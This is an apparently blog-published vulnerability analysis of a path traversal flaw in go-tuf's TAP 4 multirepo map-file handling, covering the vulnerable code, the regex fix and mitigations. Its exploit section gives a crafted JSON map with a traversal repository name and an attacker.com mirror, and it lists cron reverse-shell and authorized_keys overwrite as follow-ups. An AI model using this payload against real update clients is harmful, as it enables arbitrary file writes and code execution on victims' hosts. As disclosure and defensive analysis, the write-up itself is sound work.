CVE-2026-24686

TUF Luck: Escaping the Sandbox in go-tuf via TAP 4 Map Files

Alon Barad
Alon Barad
Software Engineer

Jan 27, 2026·6 min read·3 visits

Executive Summary (TL;DR)

The go-tuf library, widely used for secure software updates, contained a path traversal flaw in its TAP 4 support. By crafting a malicious map file with traversal sequences in repository names (e.g., "../../etc/cron.d"), an attacker can force the client to write metadata files to arbitrary locations on the host system. This turns a routine update check into an Arbitrary File Write primitive, potentially leading to RCE.

A critical Path Traversal vulnerability in the go-tuf TAP 4 Multirepo client allows attackers to overwrite arbitrary files via malicious repository names in the map file.

The Hook: Security Inception

The Update Framework (TUF) is the gold standard for securing software supply chains. It’s the paranoid bodyguard that assumes the mirror is compromised, the keys are stolen, and the network is hostile. It’s designed to survive the worst-case scenarios. But there is a delightful irony in finding a vulnerability inside the very tool meant to protect us from vulnerabilities.

CVE-2026-24686 isn't a cryptographic failure or a signature bypass. It's a classic, almost nostalgic, implementation error: Path Traversal. It resides in the go-tuf implementation's handling of TAP 4 (The Update Framework enhancement proposal) Multirepo configurations. TAP 4 allows a client to map specific targets to different repositories using a "map file."

Here’s the kicker: The library assumed that the keys in this map file—technically repository identifiers—were just innocent strings. It didn't expect them to be weaponized filesystem paths. By controlling this map file, an attacker doesn't just redirect updates; they break out of the designated metadata directory and start overwriting the host filesystem. It’s the digital equivalent of inviting a vampire into your house because they’re wearing a nametag that says "Invite Me In."

The Flaw: Trusting the Map

The root cause lies in the metadata/multirepo package. When initializing a Multirepo client, the code parses a JSON map file. This file contains a dictionary where keys are repository names and values are lists of mirror URLs. The developer's intent was to create a local directory for each repository to cache its metadata (like root.json).

In Go, filepath.Join is the standard way to combine path segments. It’s generally safe against simple redundancies, but it has a specific behavior: if you join /var/lib/tuf with ../../etc/passwd, the resulting path is cleaned to /etc/passwd. It resolves the traversal. If the application logic relies on filepath.Join to sandbox files without validating the input components, the sandbox effectively ceases to exist.

The vulnerable code took the repoName directly from the JSON map—unvalidated and unsanitized—and passed it straight to filepath.Join to determine where to store that repository's metadata. The assumption was implicit: "Repository names are probably just alphanumeric strings like 'stable' or 'production'." In security, implicit assumptions are just bugs waiting for a CVE ID.

The Code: The Smoking Gun

Let's look at the implementation in metadata/multirepo/multirepo.go. The logic for initializing clients iterated over the repository map and constructed paths blindly.

The Vulnerable Code

Before the patch, the code looked something like this (simplified for clarity):

// The code iterates over the map file entries
for repoName, mirrors := range config.RepoMap.Repositories {
    // DANGER: repoName is user-controlled input
    localPath := filepath.Join(client.Config.LocalMetadataDir, repoName)
    
    // The client proceeds to initialize a local store at 'localPath'
    // and will write root.json there.
    c, err := client.NewLocalClient(localPath, mirrors...)
}

If repoName is ../../../../tmp/pwn, localPath becomes /tmp/pwn (assuming the base dir was deep enough). The application happily steps out of its intended directory.

The Fix

The fix, applied in commit d361e2ea24e427581343dee5c7a32b485d79fcc0, implements a strict whitelist. Instead of trying to filter out bad characters (which is prone to bypasses), they enforced a strict schema for repository names.

// Valid pattern: Alphanumeric start, followed by alphanum, dot, dash, or underscore.
var validRepoNamePattern = regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9._-]*$`)
 
func validateRepoName(name string) error {
    if !validRepoNamePattern.MatchString(name) {
        return fmt.Errorf("invalid repo name: %q", name)
    }
    return nil
}
 
// Inside the constructor:
for repoName := range config.RepoMap.Repositories {
    if err := validateRepoName(repoName); err != nil {
        return nil, err 
    }
    // ... proceed
}

This simple regex kills the attack dead. No slashes, no backslashes, and definitely no dots at the start of the string.

The Exploit: How to Break It

To exploit this, we need to control the map file. This is common in scenarios where the map file is fetched from a remote configuration server or supplied via a supply chain mechanism. Here is how we turn a "repository name" into a weapon.

Step 1: Craft the Malicious Map

We create a JSON file that defines our malicious repository. We'll target a generic sensitive file path. In a real attack, we might target /root/.ssh/authorized_keys (if the updater runs as root) or a cron job.

{
  "repositories": {
    "../../../../../../../tmp/exploit_test": [
      "http://attacker.com/fake-repo"
    ]
  },
  "mapping": [
    {
      "pattern": "targets/*",
      "repositories": ["../../../../../../../tmp/exploit_test"]
    }
  ]
}

Step 2: The Setup

When the victim application loads this map file using multirepo.New(), it processes the key ../../../../../../../tmp/exploit_test. The go-tuf client calculates the local storage path. Due to the traversal, the path resolves to /tmp/exploit_test on the victim's machine.

Step 3: Execution

The client initializes a TUF store at that location. As part of the initialization or update process, it fetches root.json from our defined mirror (http://attacker.com/fake-repo).

Step 4: The Impact

The victim downloads our malicious root.json and writes it to /tmp/exploit_test/root.json. We have achieved arbitrary file write. If we target a configuration directory or a binary path, we can escalate this to Remote Code Execution (RCE) immediately. The irony is that the TUF client verifies the signature of the metadata against the metadata itself or trusted root keys, but it performs the file write operation to cache it.

The Impact: Why Should We Panic?

File write vulnerabilities are often underestimated compared to direct memory corruption, but in the context of infrastructure tooling, they are devastating. go-tuf is typically used in update agents, deployment tools, and package managers—software that frequently runs with elevated privileges (root or Administrator).

If an attacker can overwrite files as root, the game is over. They could:

  1. Overwrite binaries: Replace a commonly executed binary with a shell script.
  2. Persistence: Drop a file into /etc/cron.d/ to execute a reverse shell every minute.
  3. SSH Access: Overwrite authorized_keys to gain direct access.

Even without root, overwriting local user configuration files (.bashrc, .zshrc) allows for lateral movement. The specific vector here relies on the attacker injecting the map file, but in a complex supply chain, this configuration is often less protected than the signed binaries themselves, creating a weak link in the chain of trust.

The Fix: Remediation

The remediation is straightforward: Update immediately.

Fixed Version: Ensure you are running a version of go-tuf that includes commit d361e2ea24e427581343dee5c7a32b485d79fcc0 (January 26, 2026).

Mitigation Strategies

If you cannot update the library immediately (e.g., you are a downstream consumer waiting for a vendor patch), you must enforce strict validation on any TAP 4 map files your application processes.

  1. Sanitize Input: Before passing a configuration to go-tuf, iterate through the repositories keys yourself.
  2. Reject Suspicious Patterns: Throw an error if any key contains /, \, or starts with ...
  3. Principle of Least Privilege: Ensure your update agent does not run as root unless absolutely necessary. Run it in a sandboxed user account so that an arbitrary write is limited to non-critical paths.

Fix Analysis (2)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

Go applications using the-update-framework/go-tufSystems utilizing TAP 4 Multirepo configurationsSupply chain security tools built on go-tuf

Affected Versions Detail

Product
Affected Versions
Fixed Version
theupdateframework/go-tuf
The Update Framework
< Commit d361e2eaCommit d361e2ea
AttributeDetail
CWE IDCWE-22 (Path Traversal)
Attack VectorNetwork / Local (Configuration)
CVSS v3.1 (Est)9.8 (Critical)
ImpactArbitrary File Write / RCE
Affected Componentmetadata/multirepo/multirepo.go
StatusPatched
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Vulnerability Timeline

Initial refactor of Key.ID logic
2026-01-21
Vulnerability discovered and patched in go-tuf
2026-01-26
Public disclosure via patch commit
2026-01-26

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.